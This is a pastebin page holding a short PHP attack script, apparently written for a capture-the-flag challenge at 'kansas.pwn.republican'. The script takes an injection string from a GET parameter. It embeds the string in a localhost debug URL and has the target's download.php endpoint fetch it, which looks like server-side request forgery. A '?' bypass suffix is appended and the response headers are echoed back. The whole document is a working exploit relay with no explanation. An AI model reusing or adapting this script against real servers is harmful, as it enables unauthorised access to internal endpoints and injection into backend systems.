SHOW:
|
|
- or go back to the newest paste.
1 | <?php | |
2 | function customCurl($URL=null, $postData=false, $cookie='set', $customHeader=null, $oHeader=false, $proxy=false){ | |
3 | ||
4 | $cookieJar = './cookie'; //tempnam('/tmp','cookie'); | |
5 | $ch = curl_init($URL); | |
6 | ||
7 | if($cookie==='set'){ | |
8 | @unlink($cookieJar); | |
9 | curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar); | |
10 | }elseif($cookie==='get') | |
11 | curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar); | |
12 | else{} | |
13 | ||
14 | if($proxy) | |
15 | curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); | |
16 | ||
17 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
18 | curl_setopt($ch, CURLOPT_HEADER, $oHeader); | |
19 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); //don't follow redirects | |
20 | ||
21 | if($postData!==false){ | |
22 | curl_setopt($ch, CURLOPT_POST, 1); | |
23 | curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); | |
24 | curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded')); | |
25 | } | |
26 | ||
27 | if($customHeader!==null){ | |
28 | curl_setopt($ch, CURLOPT_HTTPHEADER, $customHeader); | |
29 | } | |
30 | ||
31 | ||
32 | $response = curl_exec($ch); | |
33 | ||
34 | ||
35 | @list($headers, $body) = explode("\r\n\r\n", $response, 2); | |
36 | ||
37 | return array('headers'=>$headers, 'body'=>$body); | |
38 | } | |
39 | ||
40 | $Injection = $_GET['inj']; | |
41 | $baseURL = 'http://kansas.pwn.republican/download.php?dl='; | |
42 | $data = 'http://localhost/secure/debug.php?s=3&txtfirst_name=Voorivex&txtmiddle_name=Voorivex&txtLast_name=Voorivex&txtname_suffix=Voo&txtdob=05%2F03%2F198' . $Injection . '&txtdl_nmbr=K19902613&txtRetypeDL=K19902613&btnContinue2=Continue'; | |
43 | $bypass = '?'; | |
44 | ||
45 | $response = customCurl($baseURL . urlencode($data) . $bypass); | |
46 | ||
47 | ||
48 | echo $response['headers']; | |
49 | ||
50 | ?> |